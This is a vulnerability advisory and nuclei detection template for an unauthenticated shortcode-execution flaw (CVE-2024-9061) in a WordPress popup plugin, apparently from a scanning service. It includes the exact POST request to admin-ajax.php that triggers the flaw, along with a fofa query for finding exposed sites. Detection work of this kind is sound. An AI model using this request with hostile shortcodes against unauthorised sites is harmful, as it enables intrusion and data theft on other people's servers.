WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution

highseverity

7.3CVSS score

53.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

Impact

Unauthenticated attackers can execute arbitrary shortcodes through the AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes in the WordPress installation.

Fix

Update WP Popup Builder plugin to a version later than 1.3.5 that properly validates values before executing do_shortcode in the wp_ajax_nopriv_shortcode_Api_Add AJAX action.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/wp-popup-builder") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: len(body) == 13 and contains(body, "CVE-2024-9061") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-9061 -u <target>

The full check

id: CVE-2024-9061

info:
  name: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution
  author: s4e-io
  severity: high
  description: |
    The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
  impact: |
    Unauthenticated attackers can execute arbitrary shortcodes through the AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes in the WordPress installation.
  remediation: |
    Update WP Popup Builder plugin to a version later than 1.3.5 that properly validates values before executing do_shortcode in the wp_ajax_nopriv_shortcode_Api_Add AJAX action.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9061
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0cac1dc0-87dc-43eb-9db1-638a91200b43?source=cve
    - https://github.com/RandomRobbieBF/CVE-2024-9061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-9061
    cwe-id: CWE-94
    epss-score: 0.53631
    epss-percentile: 0.99002
  metadata:
    max-request: 2
    verified: true
    vendor: themehunk
    product: wp-popup-builder
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-popup-builder/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-popup-builder,shortcode,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/wp-popup-builder")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=shortcode_Api_Add&shortcode=%43%56%45%2d%32%30%32%34%2d%39%30%36%31

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 13'
          - 'contains(body, "CVE-2024-9061")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from